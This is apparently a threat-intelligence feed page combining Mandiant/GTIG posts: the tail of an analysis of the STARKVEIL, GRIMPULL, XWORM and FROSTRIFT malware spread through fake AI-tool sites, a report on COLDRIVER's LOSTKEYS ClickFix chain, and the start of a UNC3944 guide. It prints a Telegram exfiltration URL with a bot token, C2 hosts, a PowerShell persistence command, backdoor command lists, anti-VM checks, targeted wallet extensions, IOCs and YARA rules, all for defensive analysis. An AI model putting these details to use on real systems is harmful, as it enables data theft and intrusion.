The command takes a Base85-encoded string, decodes it, decompresses the result using zlib, deserializes the resulting data using the marshal module, and then executes the final deserialized data as Python code.

Figure 11: Python command

The decompiled first-stage Python code combines RSA, AES, RC4, and XOR techniques to decrypt the second stage Python bytecode.

Figure 12: First-stage Python

The decrypted second-stage Python script executes C:\winsystem\heif\heif.exe, which is a legitimate, digitally signed executable, used to side-load a malicious DLL. This serves as the launcher to execute the other malware components.

Figure 13: Second-stage Python

The following is the resulting process tree:

explorer.exe ↳ 7zfm.exe "<path>\Lumalabs_1926326251082123689-626.zip" ↳ "<path>\lumalabs_1926326251082123689-626.mp4⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.exe" ↳ "C:\winsystem\py\py.exe" -c exec(__import__ ..<ENCODED PYTHON CODE>..) ↳ "C:\WINDOWS\system32\cmd.exe" /c "C:\winsystem\heif\heif.exe" ↳ "C:\winsystem\heif\heif.exe" Malware Analysis

As mentioned, the STARKVEIL malware drops its components during its first execution and executes a launcher on its second execution. The complete analysis of all the malware components and their roles is provided in the next sections.

Directory

Benign File

Side-Loaded DLL

Role (Malware)

C:\winsystem\heif

heif.exe

heif.dll

(SHA256: 839260ac321a44da55d4e6a5130c12869066af712f71c558bd42edd56074265b)

Launcher

%APPDATA%\Launcher

Launcher.exe

libde265.dll

(SHA256: 4982a33e0c2858980126b8279191cb4eddd0a35f936cf3eda079526ba7c76959)

Persistence

%APPDATA%\python

python.exe

avcodec-61.dll

(SHA256: 8d2c9c2b5af31e0e74185a82a816d3d019a0470a7ad8f5c1b40611aa1fd275cc)

Downloader (GRIMPULL)

%APPDATA%\pythonw

pythonw.exe

heif.dll

(SHA256: a0e75bd0b0fa0174566029d0e50875534c2fcc5ba982bd539bdeff506cae32d3)

Backdoor executed at runtime (XWORM)

C:\winsystem\heif-info

heif-info.exe

heif.dll

(SHA256: 1a037da4103e38ff95cb0008a5e38fd6a8e7df5bc8e2d44e496b7a5909ddebeb)

Backdoor for persistence (XWORM)

%APPDATA%\ffplay

ffplay.exe

libde265.dll

(SHA256: dcb1e9c6b066c2169928ae64e82343a250261f198eb5d091fd7928b69ed135d3)

Backdoor executed at runtime (FROSTRIFT)

C:\winsystem\heif2rgb

heif2rgb.exe

heif.dll

(SHA256: e663c1ba289d890a74e33c7e99f872c9a7b63e385a6a4af10a856d5226c9a822)

Backdoor for persistence (FROSTRIFT)

Table 3: Malware components

Each of these DLLs operates as an in-memory dropper and spawns a new victim process to perform code injection through process replacement.

Launcher

The execution of C:\winsystem\heif\heif.exe results in the side-loading of the malicious heif.dll, located in the same directory. This DLL is an in-memory dropper that spawns a legitimate Windows process (which may vary) and performs code injection through process replacement.

The injected code is a .NET executable that acts as a launcher and performs the following:

Moves multiple folders from C:\winsystem to %APPDATA%. The destination folders are:
- %APPDATA%\python
- %APPDATA%\pythonw
- %APPDATA%\ffplay
- %APPDATA%\Launcher
Launches three legitimate processes to side-load associated malicious DLLs. The malicious DLLs for each process are:
- python.exe: %APPDATA%\python\avcodec-61.dll
- pythonw.exe: %APPDATA%\pythonw\heif.dll
- ffplay.exe: %APPDATA%\ffplay\libde265.dll
Establishes persistence via AutoRun registry key.
- value: Dropbox
- key: SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
- root: HKCU\
- value data: "cmd.exe /c \"cd /d "<exePath>" && "Launcher.exe""

Figure 14: Main function of launcher

The AutoRun Key executes %APPDATA%\Launcher\Launcher.exe that sideloads the DLL file libde265.dll. This DLL spawns and injects its payload into AddInProcess32.exe via PE hollowing. The injected code’s main purpose is to execute the legitimate binaries C:\winsystem\heif2rgb\heif2rgb.exe and C:\winsystem\heif-info\heif-info.exe, which, in turn, sideload the backdoors XWORM and FROSTRIFT, respectively.

GRIMPULL

Of the three executables, the launcher first executes %APPDATA%\python\python.exe, which side-loads the DLL avcodec-61.dll and injects the malware GRIMPULL into a legitimate Windows process.

GRIMPULL is a .NET-based downloader that incorporates anti-VM capabilities and utilizes Tor for C2 server connections.

Anti-VM and Anti-Analysis

GRIMPULL begins by checking for the presence of the mutex value aff391c406ebc4c3, and terminates itself if this is found. Otherwise, the malware proceeds to perform further anti-VM checks, exiting in case any of the mentioned checks succeeds.

Anti-VM and Anti-Analysis Checks

Module Detection

Checks for sandbox/analysis tool DLLs:

SbieDll.dll (Sandboxie)
cuckoomon.dll (Cuckoo Sandbox)

BIOS Information Checks

Queries Win32_BIOS via WMI and checks version and serial number for:

VMware
VIRTUAL
A M I (AMI BIOS)
Xen

Parent Process Check

Checks if parent process is cmd (command line)

VM File Detection

Checks for existence of vmGuestLib.dll in the System folder

System Manufacturer Checks

Queries Win32_ComputerSystem via WMI and checks manufacturer and model for:

Microsoft (Hyper-V)
VMWare
Virtual

Display and System Configuration Checks

Checks for specific screen resolutions:

1440x900
1024x768
1280x1024

Checks if the OS is 32-bit

Username Checks

Checks for common analysis environment usernames:

john
anna
Any username containing xxxxxxxx

Table 4: Anti-VM and Anti-analysis checks Download Function

GRIMPULL verifies the presence of a Tor process. If a Tor process is not detected, it proceeds to download, decompress, and execute Tor from the following URL:

https://archive.torproject.org/tor-package-archive/torbrowser/13.0.9/ tor-expert-bundle-windows-i686-13.0.9.tar.gz

Figure 15: Download function

Afterwards, Tor will run locally on port 9050.

C2 Communication

GRIMPULL then attempts to connect to the following C2 server via the Tor tunnel over TCP.

strokes[.]zapto[.]org:7789

The malware maintains this connection and periodically checks for .NET payloads. Fetched payloads are decrypted using TripleDES in ECB mode with the MD5 hash of the campaign ID aff391c406ebc4c3 as the decryption key, decompressed with GZip (using a 4-byte length prefix), reversed, and then loaded into memory as .NET assemblies.

Malware Configuration

The configuration elements are encoded as base64 strings, as shown in Figure 16.

Figure 16: Encoded malware configuration

Table 5 shows the extracted malware configuration.

GRIMPULL Malware Configuration

C2 domain/server

strokes[.]zapto[.]org

Port number

7789

Unique identifier/campaign ID

aff391c406ebc4c3

Configuration profile name

Default

Table 5: GRIMPULL configuration XWORM

Secondly, the launcher executes the file %APPDATA%\pythonw\pythonw.exe, which side-loads the DLL heif.dll and injects XWORM into a legitimate Windows process.

XWORM is a .NET-based backdoor that communicates using a custom binary protocol over TCP. Its core functionality involves expanding its capabilities through a plugin management system. Downloaded plugins are written to disk and executed. Supported capabilities include keylogging, command execution, screen capture, and spreading to USB drives.

XWORM Configuration

The malware begins by decoding its configuration using the AES algorithm.

Figure 17: Decryption of configuration

Table 6 shows the extracted malware configuration.

XWORM Malware Configuration

Host

artisanaqua[.]ddnsking[.]com

Port number

25699

KEY

<123456789>

SPL

Version

XWorm V5.2

USBNM

USB.exe

Telegram Token

8060948661:AAFwePyBCBu9X-gOemLYLlv1owtgo24fcO0

Telegram ChatID

-1002475751919

Mutex

ZMChdfiKw2dqF51X

Table 6: XWORM configuration Host Reconnaissance

The malware then performs a system survey to gather the following information:

Bot ID
Username
OS Name
If it’s running on USB
CPU Name
GPU Name
Ram Capacity
AV Products list

Sample of collected information:

☠ [KW-2201] New Clinet : <client_id_from_machine_info_hash> UserName : <victim_username> OSFullName : <victim_OS_name> USB : <is_sample_name_USB.exe> CPU : <cpu_description> GPU : <gpu_description> RAM : <ram_size_in_GBs> Groub : <installed_av_solutions>

This information is sent to a Telegram chat:

hxxps[:]//api[.]telegram[.]org:443/bot8060948661:AAFwePyBCBu9X-gOemLYLlv1 owtgo24fcO0/sendMessage?chat_id=-1002475751919&text=<collected_sysinfo> Keylogging

The malware sample saves the logged keystrokes to the file %temp%\Log.tmp.

Sample of content of Log.tmp:

....### explorer ###..[Back] [Back] b a n k [ENTER] C2 Communication

The sample connects to its C2 server at tcp://artisanaqua[.]ddnsking[.]com:25699 and initially sends the following information to the C2:

"INFO<Xwormmm>victim_id<Xwormmm>user<Xwormmm> os_name<Xwormmm>XWorm V5.2<Xwormmm>date_in_dd/mm/yyyy <Xwormmm>is_sample_name_USB.exe <Xwormmm>is_administrator<Xwormmm>has_webcam<Xwormmm>cpu_info <Xwormmm>gpu_info<Xwormmm>ram_size<Xwormmm>installed_AVs"

Then the sample waits for any of the following supported commands:

Command

Description

Command

Description

pong

echo back to server

StartDDos

Spam HTTP requests over TCP to target

rec

restart bot

StopDDos

Kill DDOS threads

CLOSE

shutdown bot

StartReport

List running processes continuously

uninstall

self delete

StopReport

Kill process monitoring threads

update

uninstall and execute received new version

Xchat

Send C2 message

Execute file on disk via powershell

Hosts

Get hosts file contents

Execute .NET file in memory

Shosts

Write to file, likely to overwrite hosts file contents

Download file from supplied URL and execute on disk

DDos

Unimplemented

Urlopen

Perform network request via browser

ngrok

Unimplemented

Urlhide

Perform network request in process

plugin

Load a Bot plugin

PCShutdown

Shutdown PC now

savePlugin

Save plugin to registry and load it HKCU\Software\<victim_id>\<plugin_name>=<plugin_bytes>

PCRestart

Restart PC now

RemovePlugins

Delete all plugins in registry

PCLogoff

Log off

OfflineGet

Read Keylog

RunShell

Execute CMD on shell

$Cap

Get screen capture

Table 7: Supported commands FROSTRIFT

Lastly, the launcher executes the file %APPDATA%\ffplay\ffplay.exe to side-load the DLL %APPDATA%\ffplay\libde265.dll and inject FROSTRIFT into a legitimate Windows process.

FROSTRIFT is a .NET backdoor that collects system information, installed applications, and crypto wallets. Instead of receiving C2 commands, it receives .NET modules that are stored in the registry to be loaded in-memory. It communicates with the C2 server using GZIP-compressed protobuf messages over TCP/SSL.

Malware Configuration

The malware starts by decoding its configuration, which is a Base64-encoded and GZIP-compressed protobuf message embedded within the strings table.

Figure 18: FROSTRIFT configuration

Table 8 shows the extracted malware configuration.

Field

Value

Protobuf Tag

C2 Domain

strokes.zapto[.]org

C2 Port

56001

SSL Certificate

Unknown

Default

Installation folder

APPDATA

Mutex

7d9196467986

Table 8: FROSTRIFT configration Persistence

FROSTRIFT can achieve persistence by running the command:

powershell.exe "Remove-ItemProperty -Path 'HKCU:\SOFTWARE\ Microsoft\Windows\CurrentVersion\Run' -Name '<sample_file_name> ';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run' -Name '<sample_file_name>' -Value '""%APPDATA% \<sample_file_name>""' -PropertyType 'String'"

The sample copies itself to %APPDATA% and adds a new registry value under HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run with the new file path as data to ensure persistence at each system startup.

Host Reconnaissance

The following information is initially collected and submitted by the malware to the C2:

Collected Information

Host information

Installed Anti-Virus
Web camera
Hostname
Username and Role
OS name
Local time

Victim ID

HEX digest of the MD5 hash for the following combined:

Sample process ID
Disk drive serial number
Physical memory serial number
Victim user name

Malware Version

4.1.8

Software Applications

com.liberty.jaxx
Foxmail
Telegram
Browsers (see Table 10)

Standalone Crypto Wallets

Atomic, Bitcoin-Qt, Dash-Qt, Electrum, Ethereum, Exodus, Litecoin-Qt, Zcash, Ledger Live

Browser Extension

Password managers, Authenticators, and Digital wallets (see Table 11)

Others

5th entry from the Config (“Default” in this sample)
Malware full file path

Table 9: Collected information

FROSTRIFT checks for the existence of the following browsers:

Chromium, Chrome, Brave, Edge, QQBrowser, ChromePlus, Iridium, 7Star, CentBrowser, Chedot, Vivaldi, Kometa, Elements Browser, Epic Privacy Browser, uCozMedia Uran, Sleipnir5, Citrio, Coowon, liebao, QIP Surf, Orbitum, Dragon, Amigo, Torch, Comodo, 360Browser, Maxthon3, K-Melon, Sputnik, Nichrome, CocCoc, Uran, Chromodo, Atom

Table 10: List of browsers

FROSTRIFT also checks for the existence of 48 browser extensions related to Password managers, Authenticators, and Digital wallets. The full list is provided in Table 11.

String

Extension

ibnejdfjmmkpcnlpebklmnkoeoihofec

TronLink

nkbihfbeogaeaoehlefnkodbefgpgknn

MetaMask

fhbohimaelbohpjbbldcngcnapndodjp

Binance Chain Wallet

ffnbelfdoeiohenkjibnmadjiehjhajb

Yoroi

cjelfplplebdjjenllpjcblmjkfcffne

Jaxx Liberty

fihkakfobkmkjojpchpfgcmhfjnmnfpi

BitApp Wallet

kncchdigobghenbbaddojjnnaogfppfj

iWallet

aiifbnbfobpmeekipheeijimdpnlpgpp

Terra Station

ijmpgkjfkbfhoebgogflfebnmejmfbml

BitClip

blnieiiffboillknjnepogjhkgnoapac

EQUAL Wallet

amkmjjmmflddogmhpjloimipbofnfjih

Wombat

jbdaocneiiinmjbjlgalhcelgbejmnid

Nifty Wallet

afbcbjpbpfadlkmhmclhkeeodmamcflc

Math Wallet

hpglfhgfnhbgpjdenjgmdgoeiappafln

Guarda

aeachknmefphepccionboohckonoeemg

Coin98 Wallet

imloifkgjagghnncjkhggdhalmcnfklk

Trezor Password Manager

oeljdldpnmdbchonielidgobddffflal

EOS Authenticator

gaedmjdfmmahhbjefcbgaolhhanlaolb

Authy

ilgcnhelpchnceeipipijaljkblbcobl

GAuth Authenticator

bhghoamapcdpbohphigoooaddinpkbai

Authenticator

mnfifefkajgofkcjkemidiaecocnkjeh

TezBox

dkdedlpgdmmkkfjabffeganieamfklkm

Cyano Wallet

aholpfdialjgjfhomihkjbmgjidlcdno

Exodus Web3

jiidiaalihmmhddjgbnbgdfflelocpak

BitKeep

hnfanknocfeofbddgcijnmhnfnkdnaad

Coinbase Wallet

egjidjbpglichdcondbcbdnbeeppgdph

Trust Wallet

hmeobnfnfcmdkdcmlblgagmfpfboieaf

XDEFI Wallet

bfnaelmomeimhlpmgjnjophhpkkoljpa

Phantom

fcckkdbjnoikooededlapcalpionmalo

MOBOX WALLET

bocpokimicclpaiekenaeelehdjllofo

XDCPay

flpiciilemghbmfalicajoolhkkenfel

ICONex

hfljlochmlccoobkbcgpmkpjagogcgpk

Solana Wallet

cmndjbecilbocjfkibfbifhngkdmjgog

Swash

cjmkndjhnagcfbpiemnkdpomccnjblmj

Finnie

knogkgcdfhhbddcghachkejeap

Keplr

kpfopkelmapcoipemfendmdcghnegimn

Liquality Wallet

hgmoaheomcjnaheggkfafnjilfcefbmo

Rabet

fnjhmkhhmkbjkkabndcnnogagogbneec

Ronin Wallet

klnaejjgbibmhlephnhpmaofohgkpgkd

ZilPay

ejbalbakoplchlghecdalmeeeajnimhm

MetaMask

ghocjofkdpicneaokfekohclmkfmepbp

Exodus Web3

heaomjafhiehddpnmncmhhpjaloainkn

Trust Wallet

hkkpjehhcnhgefhbdcgfkeegglpjchdc

Braavos Smart Wallet

akoiaibnepcedcplijmiamnaigbepmcb

Yoroi

djclckkglechooblngghdinmeemkbgci

MetaMask

acdamagkdfmpkclpoglgnbddngblgibo

Guarda Wallet

okejhknhopdbemmfefjglkdfdhpfmflg

BitKeep

mijjdbgpgbflkaooedaemnlciddmamai

Waves Keeper

Table 11: List of browser extensions C2 Communication

The malware expects the C2 to respond by sending GZIP-compressed Protobuf messages with the following fields:

registry_val: A registry value under HKCU\Software\<victim_id> to store the loader_bytes.
loader_bytes: Assembly module to load the loaded_bytes (stored at registry in reverse order).
loaded_bytes: GZIP-compressed assembly module to be loaded in-memory.

The sample receives loader_bytes only in the first message as it stores it under the registry value HKCU\Software\<victim_id>\registry_val. For the subsequent messages, it only receives registry_val which it uses to fetch loader_bytes from the registry.

The sample sends empty GZIP-compressed Protobuf messages as a keep-alive mechanism until the C2 sends another assembly module to be loaded.

The malware has the ability to download and execute extra payloads from the following hardcoded URLs (this feature is not enabled in this sample):

WebDriver2.exe: hxxps://github[.]com/DFfe9ewf/test3/raw/refs/heads/main/WebDriver.dll;
chromedriver2.exe: hxxps://github[.]com/DFfe9ewf/test3/raw/refs/heads/main/chromedriver.exe
msedgedriver2.exe: hxxps://github[.]com/DFfe9ewf/test3/raw/refs/heads/main/msedgedriver.exe

The files are WebDrivers for browsers that can be used for testing, automation, and interacting with the browser. They can also be used by attackers for malicious purposes, such as deploying additional payloads.

Conclusion

As AI has gained tremendous momentum recently, our research highlights some of the ways in which threat actors have taken advantage of it. Although our investigation was limited in scope, we discovered that well-crafted fake “AI websites” pose a significant threat to both organizations and individual users. These AI tools no longer target just graphic designers; anyone can be lured in by a seemingly harmless ad. The temptation to try the latest AI tool can lead to anyone becoming a victim. We advise users to exercise caution when engaging with AI tools and to verify the legitimacy of the website's domain.

Acknowledgements

Special thanks to Stephen Eckels, Muhammad Umair, and Mustafa Nasser for their assistance in analyzing the malware samples. Richmond Liclican for his inputs and attribution. Ervin Ocampo, Swapnil Patil, Muhammad Umer Khan, and Muhammad Hasib Latif for providing the detection opportunities.

Detection Opportunities

The following indicators of compromise (IOCs) and YARA rules are also available as a collection and rule pack in Google Threat Intelligence (GTI).

Host-Based IOCs

File

SHA256

Notes

Lumalabs_1926326251082123689-626.zip

8863065544df546920ce6189dd3f99ab3f5d644d3d9c440667c1476174ba862b

Downloaded ZIP archive

Lumalabs_1926326251082123689-626.mp4⠀.exe

d3f50dc61d8c2be665a2d3933e2668448edc31546fea84517f8e61237c6d2e5d

STARKVEIL

C:\winsystem\heif\heif.dll

839260ac321a44da55d4e6a5130c12869066af712f71c558bd42edd56074265b

Launcher

%APPDATA%\Launcher\libde265.dll

4982a33e0c2858980126b8279191cb4eddd0a35f936cf3eda079526ba7c76959

Persistence

%APPDATA%\python\avcodec-61.dll

8d2c9c2b5af31e0e74185a82a816d3d019a0470a7ad8f5c1b40611aa1fd275cc

GRIMPULL

%APPDATA%\pythonw\heif.dll

a0e75bd0b0fa0174566029d0e50875534c2fcc5ba982bd539bdeff506cae32d3

XWORM

C:\winsystem\heif-info\heif.dll

1a037da4103e38ff95cb0008a5e38fd6a8e7df5bc8e2d44e496b7a5909ddebeb

XWORM

%APPDATA%\ffplay\libde265.dll

dcb1e9c6b066c2169928ae64e82343a250261f198eb5d091fd7928b69ed135d3

FROSTRIFT

C:\winsystem\heif2rgb\heif.dll

e663c1ba289d890a74e33c7e99f872c9a7b63e385a6a4af10a856d5226c9a822

FROSTRIFT

Network-Based IOCs Malware Command and Control

Domain

strokes.zapto[.]org:7789

artisanaqua[.]ddnsking[.]com:25699

strokes.zapto[.]org:56001

Fake AI Domains

Domain

Registration Date

creativepro[.]ai

2024-07-10

boostcreatives[.]ai

2024-07-12

creativepro-ai[.]com

2024-08-02

boostcreatives-ai[.]com

2024-08-04

creativespro-ai[.]com

2024-08-07

klingxai[.]com

2024-09-19

lumaai-labs[.]com

2024-09-29

klings-ai[.]com

2024-10-17

luma-dream[.]com

2024-10-26

quirkquestai[.]com

2024-11-02

lumaai-dream[.]com

2024-11-06

lumaai-lab[.]com

2024-11-08

lumaaidream[.]com

2024-11-09

lumaailabs[.]com

2024-11-10

luma-dreamai[.]com

2024-11-12

ai-kling[.]com

2024-11-22

dreamai-luma[.]com

2024-12-13

aikling[.]ai

2025-01-04

aisoraplus[.]com

2025-01-07

lumalabsai[.]in

2025-01-16

canvadream-lab[.]com

2025-01-20

canvadreamlab[.]com

2025-01-25

adobe-express[.]com

2025-02-08

canva-dreamlab[.]com

2025-02-12

canvadreamlab[.]ai

2025-02-14

canvaproai[.]com

2025-02-17

capcutproai[.]com

2025-02-22

luma-aidream[.]com

2025-02-27

luma-dreammachine[.]com

2025-03-07

YARA Rules rule G_Dropper_COILHATCH_1 { meta: author = "Mandiant" strings: $i1 = "zlib.decompress" ascii wide $i2 = "rc4" ascii wide $i3 = "aes_decrypt" ascii wide $i4 = "xor" ascii wide $i5 = "rsa_decrypt" ascii wide $r1 = "private_key" ascii wide $r2 = "runner" ascii wide $r3 = "marshal" ascii wide $r4 = "marshal.loads" ascii wide $r5 = "b85decode" ascii wide $r6 = "exceute_func" ascii wide $r7 = "hybrid_decrypt" ascii wide condition: (4 of ($i*)) and all of ($r*) } rule G_Dropper_STARKVEIL_1 { meta: author = "Mandiant" strings: $p00_0 = { 56 57 53 48 83 EC ?? 48 8D AA [4] 48 8B 7D ?? 48 8B 4F ?? FF 15 [4] 48 89 F9 } $p00_1 = { 0F 0B 66 0F 1F 84 00 [4] 48 89 54 24 ?? 55 41 56 56 57 53 48 83 EC } condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (($p00_0 in (48000 .. 59000) and $p00_1 in (100000 .. 120000))) } import "dotnet" rule G_Downloader_GRIMPULL_1 { meta: author = "Mandiant" strings: $str1 = "SbieDll.dll" ascii wide $str2 = "cuckoomon.dll" ascii wide $str3 = "vmGuestLib.dll" ascii wide $str4 = "select * from Win32_BIOS" ascii wide $str5 = "VMware|VIRTUAL|A M I|Xen" ascii wide $str6 = "Microsoft|VMWare|Virtual" ascii wide $str7 = "win32_process.handle='{0}'" ascii wide $str8 = "stealer" ascii wide $code = { 11 20 11 0F 11 20 11 0F 91 11 1A 11 0F 91 61 D2 9C } condition: dotnet.is_dotnet and all of them } rule G_Backdoor_FROSTRIFT_1 { meta: author = "Mandiant" strings: $guid = "$23e83ead-ecb2-418f-9450-813fb7da66b8" $r1 = "IdentifiableDecryptor.DecryptorStack" $r2 = "$ProtoBuf.Explorers.ExplorerDecryptor" $s1 = "\\User Data\\" wide $s2 = "SELECT * FROM AntiVirusProduct" wide $s3 = "Telegram.exe" wide $s4 = "SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')" wide $s5 = "Litecoin-Qt" wide $s6 = "Bitcoin-Qt" wide condition: uint16(0) == 0x5a4d and (all of ($s*) or $guid or all of ($r*)) } YARA-L Rules

Mandiant has made the relevant rules available in the Google SecOps Mandiant Intel Emerging Threats curated detections rule set. The activity discussed in the blog post is detected under the rule names:

Suspicious Binary File Execution - MP4 Masquerade
Suspicious Binary File Execution - Double Extension and Braille Pattern Blank Masquerade
Python Script Deobfuscation - Base85 ZLib Marshal
Suspicious Staging Directory WinSystem
DLL Search Order Hijacking AVCodec61
DLL Search Order Hijacking HEIF
DLL Search Order Hijacking Libde265

Mandiant

COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs

Mandiant Threat Intelligence

3 months 2 weeks ago

Written by: Wesley Shields

Google Threat Intelligence Group (GTIG) has identified a new piece of malware called LOSTKEYS, attributed to the Russian government-backed threat group COLDRIVER (also known as UNC4057, Star Blizzard, and Callisto). LOSTKEYS is capable of stealing files from a hard-coded list of extensions and directories, along with sending system information and running processes to the attacker. Observed in January, March, and April 2025, LOSTKEYS marks a new development in the toolset of COLDRIVER, a group primarily known for credential phishing against high-profile targets like NATO governments, non-governmental organizations (NGOs), and former intelligence and diplomatic officers. GTIG has been tracking COLDRIVER for many years, including their SPICA malware in 2024.

COLDRIVER typically targets high-profile individuals at their personal email addresses or at NGO addresses. They are known for stealing credentials and after gaining access to a target’s account they exfiltrate emails and steal contact lists from the compromised account. In select cases, COLDRIVER also delivers malware to target devices and may attempt to access files on the system.

Recent targets in COLDRIVER’s campaigns have included current and former advisors to Western governments and militaries, as well as journalists, think tanks, and NGOs. The group has also continued targeting individuals connected to Ukraine. We believe the primary goal of COLDRIVER’s operations is intelligence collection in support of Russia’s strategic interests. In a small number of cases, the group has been linked to hack-and-leak campaigns targeting officials in the UK and an NGO.

To safeguard at-risk users, we use our research on serious threat actors like COLDRIVER to improve the safety and security of Google’s products. We encourage potential targets to enroll in Google's Advanced Protection Program, enable Enhanced Safe Browsing for Chrome, and ensure that all devices are updated.

Stage 1 — It Starts With A Fake CAPTCHA

LOSTKEYS is delivered at the end of a multi-step infection chain that starts with a lure website with a fake CAPTCHA on it. Once the CAPTCHA has been “verified,” PowerShell is copied to the users clipboard and the page prompts the user to execute the PowerShell via the “run” prompt in Windows:

The first stage PowerShell that is pasted in will fetch and execute the second stage. In multiple observed cases, the second stage was retrieved from 165.227.148[.]68.

COLDRIVER is not the only threat actor to deliver malware by socially engineering their targets to copy, paste, and then execute PowerShell commands—a technique commonly called “ClickFix.” We have observed multiple APT and financially motivated actors use this technique, which has also been widely reported publicly. Users should exercise caution when encountering a site that prompts them to exit the browser and run commands on their device, and enterprise policies should implement least privilege and disallow users from executing scripts by default.

Stage 2 — Device Evasion

The second stage calculates the MD5 hash of the display resolution of the device and if the MD5 is one of three specific values it will stop execution, otherwise it will retrieve the third stage. This step is likely done to evade execution in VMs. Each observed instance of this chain uses different, unique identifiers that must be present in the request to retrieve the next stage. In all observed instances the third stage is retrieved from the same host as the previous stages.

Stage 3 — Retrieval of the Final Payload

The third stage is a Base64-encoded blob, which decodes to more PowerShell. This stage retrieves and decodes the final payload. To do this it pulls down two more files, from the same host as the others, and again using different unique identifiers per infection chain.

The first is a Visual Basic Script (VBS) file, which we call the “decoder” that is responsible for decoding the second one. The decoding process uses two keys, which are unique per infection chain. The decoder has one of the unique keys and the second key is stored in stage 3. The keys are used in a substitution cipher on the encoded blob, and are unique to each infection chain. A Python script to decode the final payload is:

# Args: encoded_file Ah90pE3b 4z7Klx1V import base64 import sys if len(sys.argv) != 4: print("Usage: decode.py file key1 key2") sys.exit(1) if len(sys.argv[2]) != len(sys.argv[3]): print("Keys must be the same length") sys.exit(1) with open(sys.argv[1], 'r') as f: data = f.read() x = sys.argv[2] y = sys.argv[3] for i in range(len(x)): data = data.replace(x[i], '!').replace(y[i], x[i]).replace('!', y[i]) with open(sys.argv[1] + '.out', 'wb') as f: f.write(base64.b64decode(data)) The Final Payload (LOSTKEYS)

The end result of this is a VBS that we call LOSTKEYS. It is a piece of malware that is capable of stealing files from a hard-coded list of extensions and directories, along with sending system information and running processes to the attacker. The typical behavior of COLDRIVER is to steal credentials and then use them to steal emails and contacts from the target, but as we have previously documented they will also deploy malware called SPICA to select targets if they want to access documents on the target system. LOSTKEYS is designed to achieve a similar goal and is only deployed in highly selective cases.

A Link To December 2023

As part of the investigation into this activity, we discovered two additional samples, hashes of which are available in the Indicators of Compromise section, dating back as early as December 2023. In each case, the samples end up executing LOSTKEYS but are distinctly different from the execution chain mentioned here in that they are Portable Executable (PE) files pretending to be related to the software package Maltego.

It is currently unclear if these samples from December 2023 are related to COLDRIVER, or if the malware was repurposed from a different developer or operation into the activity seen starting in January 2025.

Protecting the Community

As part of our efforts to combat threat actors, we use the results of our research to improve the safety and security of Google’s products. Upon discovery, all identified malicious websites, domains and files are added to Safe Browsing to protect users from further exploitation. We also send targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity and encouraging potential targets to enable Enhanced Safe Browsing for Chrome and ensure that all devices are updated.

We are committed to sharing our findings with the security community to raise awareness and with companies and individuals that might have been targeted by these activities. We hope that improved understanding of tactics and techniques will enhance threat hunting capabilities and lead to stronger user protections across the industry.

Indicators of compromise (IOCs) and YARA rules are included in this post, and are also available as a GTI collection and rule pack.

YARA Rules rule LOSTKEYS__Strings { meta: author = "Google Threat Intelligence" description = "wscript that steals documents and becaons system information out to a hardcoded address" hash = "28a0596b9c62b7b7aca9cac2a07b067109f27d327581a60e8cb4fab92f8f4fa9" strings: $rep0 = "my_str = replace(my_str,a1,\"!\" )" $rep1 = "my_str = replace(my_str,b1 ,a1 )" $rep2 = "my_str = replace(my_str,\"!\" ,b1 )" $mid0 = "a1 = Mid(ch_a,ina+1,1)" $mid1 = "b1 = Mid(ch_b,ina+1,1)" $req0 = "ReqStr = base64encode( z & \";\" & ws.ExpandEnvironmentStrings(\"%COMPUTERNAME%\") & \";\" & ws.ExpandEnvironmentStrings(\"%USERNAME%\") & \";\" & fso.GetDrive(\"C:\\\").SerialNumber)" $req1 = "ReqStr = Chain(ReqStr,\"=+/\",\",-_\")" $cap0 = "CapIN \"systeminfo > \"\"\" & TmpF & \"\"\"\", 1, True" $cap1 = "CapIN \"ipconfig /all >> \"\"\" & TmpF & \"\"\"\", 1, True" $cap2 = "CapIN \"net view >> \"\"\" & TmpF & \"\"\"\", 1, True" $cap3 = "CapIN \"tasklist >> \"\"\" & TmpF & \"\"\"\", 1, True" condition: all of ($rep*) or all of ($mid*) or all of ($req*) or all of ($cap*) } Indicators of Compromise

IOC

Notes

13f7599c94b9d4b028ce02397717a128
2a46f07b9d3e2f8f2b3213fa8884b029

Stage 1 - Fake CAPTCHA page, loads PowerShell to clipboard

4c7accba35edd646584bb5a40ab78f96
3de45e5fc816e62022cd7ab1b01dae9c

Stage 2: Device evasion and stage 3 loader

6b85d707c23d68f9518e757cc97adb20
adc8accb33d0d68faf1d8d56d7840816

Stage 3: Retrieve and decode final payload, contains key “Ah90pE3b”

3233668d2e4a80b17e6357177b53539d
f659e55e06ba49777d0d5171f27565dd

Decoder script, contains key “4z7Klx1V”

6bc411d562456079a8f1e38f3473c33a
de73b08c7518861699e9863540b64f9a

Final payload, encoded

28a0596b9c62b7b7aca9cac2a07b0671
09f27d327581a60e8cb4fab92f8f4fa9

Final payload, decoded

165.227.148[.]68

cloudmediaportal[.]com

b55cdce773bc77ee46b503dbd9430828
cc0f518b94289fbfa70b5fbb02ab1847

Binary that executes LOSTKEYS from December 2023

02ce477a07681ee1671c7164c9cc847b
01c2e1cd50e709f7e861eaab89c69b6f

Binary that executes LOSTKEYS from December 2023

8af28bb7e8e2f663d4b797bf3ddbee7f
0a33f637a33df9b31fbb4c1ce71b2fee

LOSTKEYS from December 2023

njala[.]dev

C2 from December 2023

80.66.88[.]67

C2 from December 2023

Google Threat Intelligence Group

Defending Against UNC3944: Cybercrime Hardening Guidance from the Frontlines

Mandiant Threat Intelligence

3 months 2 weeks ago

Background

UNC3944, which overlaps with public reporting on Scattered Spider, is a financially-motivated threat actor characterized by its persistent use of social engineering and brazen communications with victims. In early operations, UNC3944 largely targeted telecommunications-related organizations to support SIM swap operations. However, after shifting to ransomware and data theft extortion in early 2023, they impacted organizations in a broader range of industries. Since then, we have regularly observed UNC3944 conduct waves of targeting against a specific sector, such as financial services organizations in late 2023 and food services in May 2024. Notably, UNC3944 has also previously targeted prominent brands, possibly in an attempt to gain prestige and increased attention by news media.

